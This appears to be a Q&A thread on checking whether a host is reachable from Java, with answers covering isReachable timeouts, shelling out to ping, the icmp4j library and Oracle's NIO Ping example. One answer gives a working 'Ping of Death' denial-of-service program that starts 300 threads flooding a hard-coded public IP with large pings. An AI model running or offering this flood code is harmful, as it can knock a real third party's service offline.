One of the reasons is that the timeout you've specified is too low. I had a similar problem but when i increased the timeout to an appropriate value, the isReachable invocation returned a correct value.
I saw a lot of bad code written related to that issue. The code that worked for my is (site do not know to correctly parse my code file) :
public class Test {
public static boolean isReachablebyPing(String ip) {
try {
String command;
if(System.getProperty("os.name").toLowerCase().startsWith("windows")) {
// For Windows
command = "ping -n 2 " + ip;
} else {
// For Linux and OSX
command = "ping -c 2 " + ip;
}
Process proc = Runtime.getRuntime().exec(command);
StreamGobbler outputGobbler = new StreamGobbler(proc.getInputStream(), "OUTPUT");
outputGobbler.start();
proc.waitFor();
return checkAvailability(outputGobbler.getOutputLines());
} catch(IOException | InterruptedException ex) {
Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex);
}
return false;
}
public static void main(String... args) {
String ip = "10.20.20.17"; // false in my case
String ip1 = "10.20.20.100"; // true in my case
System.out.println(ip + " is avalaible " + isReachablebyPing(ip));
System.out.println(ip1 + " is avalaible " + isReachablebyPing(ip1));
}
private static boolean checkAvailability(List<String> outputLines) {
for(String line : outputLines) {
if(line.contains("unreachable")) {
return false;
}
if(line.contains("TTL=")) {
return true;
}
}
return false;
}
}
class StreamGobbler extends Thread {
protected InputStream is;
protected String type;
protected List<String> outputLines;
StreamGobbler(InputStream is, String type) {
this.is = is;
this.type = type;
outputLines = new ArrayList<>();
}
public List<String> getOutputLines() {
return outputLines;
}
#Override
public void run() {
try {
InputStreamReader isr = new InputStreamReader(is);
BufferedReader br = new BufferedReader(isr);
String line;
while((line = br.readLine()) != null) {
outputLines.add(line);
}
} catch(IOException ex) {
Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex);
}
}
}
For an easy ping from java without privileges, I use http://www.icmp4j.org
It's very easy to use :
final IcmpPingRequest request = IcmpPingUtil.createIcmpPingRequest ();
request.setHost ("www.google.org");
// repeat a few times
for (int count = 1; count <= 4; count ++) {
// delegate
final IcmpPingResponse response = IcmpPingUtil.executePingRequest (request);
// log
final String formattedResponse = IcmpPingUtil.formatResponse (response);
System.out.println (formattedResponse);
// rest
Thread.sleep (1000);
}
The following JAVA code is an example of Ping of Death and Denial of Service using Microsoft Windows. This shall be use for testing purpose in order to build an Anti-Hack proof and/or testing the performance of the site in case of similar Cyber attacks.
// BEGIN Ping of Death and Denial of Service
import java.awt.AWTException;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URISyntaxException;
import jxl.read.biff.BiffException;
import jxl.write.WriteException;
public class PoDandDoS {
protected static final long serialVersionUID = 300200;
public static void main(String[] args)
throws IOException, URISyntaxException, InterruptedException, AWTException, BiffException, WriteException {
Thread[] threads = new Thread[300];
for (int i = 0; i < 300; i++) {
threads[i] = new Thread(new Runnable() {
public void run() {
try {
thread();
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
});
threads[i].start();
}
for (int i = 0; i < 300; i++) {
threads[i].join();
}
}
private static void thread() throws IOException, InterruptedException {
// Ping of Death
String[] StringMove1 = { "cmd.exe", "/c", "ping 108.167.182.244 -l 65500 -n 10000000 -w 1" };
Process ProcessMove1 = Runtime.getRuntime().exec(StringMove1);
BufferedReader VarMove1 = new BufferedReader(new InputStreamReader(ProcessMove1.getInputStream()));
String temp1 = "";
#SuppressWarnings("unused")
String Hostname1 = "";
while ((temp1 = VarMove1.readLine()) != null) {
Thread.sleep(2);
Hostname1 = temp1;
}
VarMove1.close();
}
}
When tests are completed. You might want to use the following code to clean up the processes in Task Manager.
import java.io.IOException;
//BEGIN Clean Process
public class CleanProcess {
protected static final long serialVersionUID = 300200;
public static void main(String[] args) throws IOException {
// Close every process of PING and CMD running from your PC
Runtime.getRuntime().exec("taskkill /F /IM PING.EXE");
Runtime.getRuntime().exec("taskkill /F /IM cmd.EXE");
}
}
Using this isn't going to help in case of ping a public IP addresses using Windows machine:
String ipAddress = "192.168.1.10";
InetAddress inet = InetAddress.getByName(ipAddress);
boolean reachable = inet.isReachable(5000);
Note: The documentation states that:
A typical implementation will use ICMP ECHO REQUESTs if the privilege
can be obtained, otherwise it will try to establish a TCP connection
on port 7 (Echo) of the destination host.
I've tried that but the results were not accurate.
What really worked out for me is the class written by our fellow user that send true ICMP ping and returns true or false according to IP status.
Odd InetAddress.isReachable() issue
From https://docs.oracle.com/javase/8/docs/technotes/guides/io/example/Ping.java
we have
public class Ping {
// The default daytime port
static int DAYTIME_PORT = 13;
// The port we'll actually use
static int port = DAYTIME_PORT;
// Representation of a ping target
//
static class Target {
InetSocketAddress address;
SocketChannel channel;
Exception failure;
long connectStart;
long connectFinish = 0;
boolean shown = false;
Target(String host) {
try {
address = new InetSocketAddress(InetAddress.getByName(host),
port);
} catch (IOException x) {
failure = x;
}
}
void show() {
String result;
if (connectFinish != 0)
result = Long.toString(connectFinish - connectStart) + "ms";
else if (failure != null)
result = failure.toString();
else
result = "Timed out";
System.out.println(address + " : " + result);
shown = true;
}
}
// Thread for printing targets as they're heard from
//
static class Printer
extends Thread {
LinkedList<Target> pending = new LinkedList<>();
Printer() {
setName("Printer");
setDaemon(true);
}
void add(Target t) {
synchronized (pending) {
pending.add(t);
pending.notify();
}
}
public void run() {
try {
for (; ; ) {
Target t = null;
synchronized (pending) {
while (pending.size() == 0)
pending.wait();
t = (Target) pending.removeFirst();
}
t.show();
}
} catch (InterruptedException x) {
return;
}
}
}
// Thread for connecting to all targets in parallel via a single selector
//
static class Connector
extends Thread {
Selector sel;
Printer printer;
// List of pending targets. We use this list because if we try to
// register a channel with the selector while the connector thread is
// blocked in the selector then we will block.
//
LinkedList<Target> pending = new LinkedList<>();
Connector(Printer pr) throws IOException {
printer = pr;
sel = Selector.open();
setName("Connector");
}
// Initiate a connection sequence to the given target and add the
// target to the pending-target list
//
void add(Target t) {
SocketChannel sc = null;
try {
// Open the channel, set it to non-blocking, initiate connect
sc = SocketChannel.open();
sc.configureBlocking(false);
boolean connected = sc.connect(t.address);
// Record the time we started
t.channel = sc;
t.connectStart = System.currentTimeMillis();
if (connected) {
t.connectFinish = t.connectStart;
sc.close();
printer.add(t);
} else {
// Add the new channel to the pending list
synchronized (pending) {
pending.add(t);
}
// Nudge the selector so that it will process the pending list
sel.wakeup();
}
} catch (IOException x) {
if (sc != null) {
try {
sc.close();
} catch (IOException xx) {
}
}
t.failure = x;
printer.add(t);
}
}
// Process any targets in the pending list
//
void processPendingTargets() throws IOException {
synchronized (pending) {
while (pending.size() > 0) {
Target t = (Target) pending.removeFirst();
try {
// Register the channel with the selector, indicating
// interest in connection completion and attaching the
// target object so that we can get the target back
// after the key is added to the selector's
// selected-key set
t.channel.register(sel, SelectionKey.OP_CONNECT, t);
} catch (IOException x) {
// Something went wrong, so close the channel and
// record the failure
t.channel.close();
t.failure = x;
printer.add(t);
}
}
}
}
// Process keys that have become selected
//
void processSelectedKeys() throws IOException {
for (Iterator i = sel.selectedKeys().iterator(); i.hasNext(); ) {
// Retrieve the next key and remove it from the set
SelectionKey sk = (SelectionKey) i.next();
i.remove();
// Retrieve the target and the channel
Target t = (Target) sk.attachment();
SocketChannel sc = (SocketChannel) sk.channel();
// Attempt to complete the connection sequence
try {
if (sc.finishConnect()) {
sk.cancel();
t.connectFinish = System.currentTimeMillis();
sc.close();
printer.add(t);
}
} catch (IOException x) {
sc.close();
t.failure = x;
printer.add(t);
}
}
}
volatile boolean shutdown = false;
// Invoked by the main thread when it's time to shut down
//
void shutdown() {
shutdown = true;
sel.wakeup();
}
// Connector loop
//
public void run() {
for (; ; ) {
try {
int n = sel.select();
if (n > 0)
processSelectedKeys();
processPendingTargets();
if (shutdown) {
sel.close();
return;
}
} catch (IOException x) {
x.printStackTrace();
}
}
}
}
public static void main(String[] args)
throws InterruptedException, IOException {
if (args.length < 1) {
System.err.println("Usage: java Ping [port] host...");
return;
}
int firstArg = 0;
// If the first argument is a string of digits then we take that
// to be the port number to use
if (Pattern.matches("[0-9]+", args[0])) {
port = Integer.parseInt(args[0]);
firstArg = 1;
}
// Create the threads and start them up
Printer printer = new Printer();
printer.start();
Connector connector = new Connector(printer);
connector.start();
// Create the targets and add them to the connector
LinkedList<Target> targets = new LinkedList<>();
for (int i = firstArg; i < args.length; i++) {
Target t = new Target(args[i]);
targets.add(t);
connector.add(t);
}
// Wait for everything to finish
Thread.sleep(2000);
connector.shutdown();
connector.join();
// Print status of targets that have not yet been shown
for (Iterator i = targets.iterator(); i.hasNext(); ) {
Target t = (Target) i.next();
if (!t.shown)
t.show();
}
}
}